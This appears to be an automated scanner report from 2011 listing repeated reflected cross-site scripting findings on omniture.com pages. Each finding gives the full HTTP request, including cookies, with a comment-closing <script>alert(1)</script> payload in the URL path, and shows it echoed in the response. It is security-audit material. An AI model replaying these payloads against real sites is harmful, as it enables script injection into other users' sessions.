The value of REST URL parameter 3 is copied into an HTML comment. The payload 70054--><script>alert(1)</script>41808e2c041 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/privacy/2o770054--><script>alert(1)</script>41808e2c041?f=2o7 HTTP/1.1 Host: www.omniture.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: BIGipServerhttp_omniture=84542986.5892.0000
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 18:58:28 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 18:58:28 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Vary: Accept-Encoding Date: Wed, 02 Feb 2011 18:58:28 GMT Connection: close Set-Cookie: omniture_unique=ebb175498c8f1f99e96dd89a83ae888b; path=/; domain=omniture.com Set-Cookie: cms_site_lang=1; expires=Fri, 04-Mar-2011 18:58:27 GMT; path=/; domain=omniture.com Set-Cookie: use207=7; path=/; domain=omniture.com Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 18:58:28 GMT; path=/; domain=omniture.com Content-Length: 23202
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Privacy Center | Online Busines ...[SNIP]... <!-- en/privacy/2o770054--><script>alert(1)</script>41808e2c041 cached on 2 February 2011 at 10:58:28 PST (a0b4cdb639e587063a261965fbbfee43) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload 4126e--><script>alert(1)</script>a38f011791f was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/privacy/policy4126e--><script>alert(1)</script>a38f011791f HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:01:06 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:01:06 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:01:06 GMT Content-Length: 23208 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:01:06 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Privacy Center | Online Busines ...[SNIP]... <!-- en/privacy/policy4126e--><script>alert(1)</script>a38f011791f cached on 2 February 2011 at 11:01:06 PST (c382ccf8328e2d0693f0e94eb46a891b) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload ce612--><script>alert(1)</script>2bc3e19996b was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/privacy/productce612--><script>alert(1)</script>2bc3e19996b HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:00:12 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:00:12 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:00:12 GMT Content-Length: 23210 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:00:12 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Privacy Center | Online Busines ...[SNIP]... <!-- en/privacy/productce612--><script>alert(1)</script>2bc3e19996b cached on 2 February 2011 at 11:00:12 PST (7514ae81ef7088f1f2a8f30681394e29) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload 7a562--><script>alert(1)</script>0bfbe56b0c1 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/privacy/visualsciences7a562--><script>alert(1)</script>0bfbe56b0c1 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:00:50 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:00:50 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:00:51 GMT Content-Length: 23224 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:00:50 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Privacy Center | Online Busines ...[SNIP]... <!-- en/privacy/visualsciences7a562--><script>alert(1)</script>0bfbe56b0c1 cached on 2 February 2011 at 11:00:50 PST (a0fdab216257a63ae27f1881086f0652) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload b07e0--><script>alert(1)</script>bfedc3930f9 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/privacy/visualsciencesb07e0--><script>alert(1)</script>bfedc3930f9/policy HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:01:11 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:01:11 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:01:11 GMT Content-Length: 23238 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:01:11 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Privacy Center | Online Busines ...[SNIP]... <!-- en/privacy/visualsciencesb07e0--><script>alert(1)</script>bfedc3930f9/policy cached on 2 February 2011 at 11:01:10 PST (6bce7292dc75315b2641fb335d542a37) --> ...[SNIP]...
The value of REST URL parameter 4 is copied into an HTML comment. The payload bdb9d--><script>alert(1)</script>36b580adb33 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/privacy/visualsciences/policybdb9d--><script>alert(1)</script>36b580adb33 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:01:56 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:01:56 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:01:57 GMT Content-Length: 23238 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:01:56 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Privacy Center | Online Busines ...[SNIP]... <!-- en/privacy/visualsciences/policybdb9d--><script>alert(1)</script>36b580adb33 cached on 2 February 2011 at 11:01:56 PST (7bde4504b3aa757e7f011096cce42bb7) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload c8c79--><script>alert(1)</script>01d195fe8dc was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/privacy/visualsciencesc8c79--><script>alert(1)</script>01d195fe8dc/resources HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:00:40 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:00:40 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:00:40 GMT Content-Length: 23244 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:00:40 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Privacy Center | Online Busines ...[SNIP]... <!-- en/privacy/visualsciencesc8c79--><script>alert(1)</script>01d195fe8dc/resources cached on 2 February 2011 at 11:00:39 PST (00b5bc17102e43b1d1f58e8f8bf92fdd) --> ...[SNIP]...
The value of REST URL parameter 4 is copied into an HTML comment. The payload 919a4--><script>alert(1)</script>3f40b745459 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/privacy/visualsciences/resources919a4--><script>alert(1)</script>3f40b745459 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:01:33 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:01:33 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:01:33 GMT Content-Length: 23244 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:01:33 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Privacy Center | Online Busines ...[SNIP]... <!-- en/privacy/visualsciences/resources919a4--><script>alert(1)</script>3f40b745459 cached on 2 February 2011 at 11:01:33 PST (bf418617b66ab8c4144f2983e138bb27) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload f8467--><script>alert(1)</script>5a44369eb01 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/privacy/visualsciencesf8467--><script>alert(1)</script>5a44369eb01/terms HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:01:30 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:01:30 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:01:31 GMT Content-Length: 23236 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:01:30 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Privacy Center | Online Busines ...[SNIP]... <!-- en/privacy/visualsciencesf8467--><script>alert(1)</script>5a44369eb01/terms cached on 2 February 2011 at 11:01:30 PST (d132d9b288e2cde58e7f6810cb27ecfc) --> ...[SNIP]...
The value of REST URL parameter 4 is copied into an HTML comment. The payload 82669--><script>alert(1)</script>c2c4ac2ae1c was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/privacy/visualsciences/terms82669--><script>alert(1)</script>c2c4ac2ae1c HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:02:29 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:02:29 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:02:29 GMT Content-Length: 23236 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:02:29 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Privacy Center | Online Busines ...[SNIP]... <!-- en/privacy/visualsciences/terms82669--><script>alert(1)</script>c2c4ac2ae1c cached on 2 February 2011 at 11:02:28 PST (c2252231fbeb5c1d9cb83ebff264656f) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload 3d10f--><script>alert(1)</script>142687c8714 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/resources/articles3d10f--><script>alert(1)</script>142687c8714 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:17:29 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:17:29 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:17:29 GMT Content-Length: 31858 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:17:29 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Online Business Optimization Re ...[SNIP]... <!-- en/resources/articles3d10f--><script>alert(1)</script>142687c8714 cached on 2 February 2011 at 11:17:29 PST (29342e77a0362bb5b40eaa3bec5f05d2) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload 98f60--><script>alert(1)</script>69e83a7499 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/resources/case_studies98f60--><script>alert(1)</script>69e83a7499 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:17:16 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:17:16 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:17:16 GMT Content-Length: 31864 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:17:16 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Online Business Optimization Re ...[SNIP]... <!-- en/resources/case_studies98f60--><script>alert(1)</script>69e83a7499 cached on 2 February 2011 at 11:17:16 PST (f073557411b589107d200feaa3d550f6) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload 5d3c6--><script>alert(1)</script>d1f6d8d3f32 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/resources/cmo.com5d3c6--><script>alert(1)</script>d1f6d8d3f32 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:43:13 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 05:43:13 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:43:13 GMT Content-Length: 31855 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:43:13 GMT; path=/; domain=omniture.com
